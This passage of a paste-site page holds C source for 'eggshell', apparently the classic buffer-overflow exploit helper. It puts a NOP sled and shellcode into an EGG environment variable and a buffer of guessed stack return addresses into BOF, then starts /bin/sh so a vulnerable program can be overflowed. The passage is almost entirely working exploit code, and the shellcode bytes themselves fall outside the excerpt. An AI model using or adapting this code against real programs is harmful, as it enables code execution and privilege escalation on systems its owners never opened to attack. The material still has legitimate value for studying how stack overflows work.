  1668.  
  1669. void usage(void);
  1670.  
  1671. void main(int argc, char *argv[]) {
  1672. char *ptr, *bof, *egg;
  1673. long *addr_ptr, addr;
  1674. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1675. int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
  1676.  
  1677. while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
  1678. switch (c) {
  1679. case 'a':
  1680. align = atoi(optarg);
  1681. break;
  1682. case 'b':
  1683. bsize = atoi(optarg);
  1684. break;
  1685. case 'e':
  1686. eggsize = atoi(optarg);
  1687. break;
  1688. case 'o':
  1689. offset = atoi(optarg);
  1690. break;
  1691. case '?':
  1692. usage();
  1693. exit(0);
  1694. }
  1695.  
  1696. if (strlen(shellcode) > eggsize) {
  1697. printf("Shellcode is larger the the egg.\n");
  1698. exit(0);
  1699. }
  1700.  
  1701. if (!(bof = malloc(bsize))) {
  1702. printf("Can't allocate memory.\n");
  1703. exit(0);
  1704. }
  1705. if (!(egg = malloc(eggsize))) {
  1706. printf("Can't allocate memory.\n");
  1707. exit(0);
  1708. }
  1709.  
  1710. addr = get_sp() - offset;
  1711. printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
  1712. bsize, eggsize, align);
  1713. printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
  1714.  
  1715. addr_ptr = (long *) bof;
  1716. for (i = 0; i < bsize; i+=4)
  1717. *(addr_ptr++) = addr;
  1718.  
  1719. ptr = egg;
  1720. for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
  1721. for (n = 0; n < NOP_SIZE; n++) {
  1722. m = (n + align) % NOP_SIZE;
  1723. *(ptr++) = nop[m];
  1724. }
  1725.  
  1726. for (i = 0; i < strlen(shellcode); i++)
  1727. *(ptr++) = shellcode[i];
  1728.  
  1729. bof[bsize - 1] = '\0';
  1730. egg[eggsize - 1] = '\0';
  1731.  
  1732. memcpy(egg,"EGG=",4);
  1733. putenv(egg);
  1734.  
  1735. memcpy(bof,"BOF=",4);
  1736. putenv(bof);
  1737. system("/bin/sh");
  1738. }
  1739.  
  1740. void usage(void) {
  1741. (void)fprintf(stderr,
  1742. "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
  1743. }
  1744. ------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement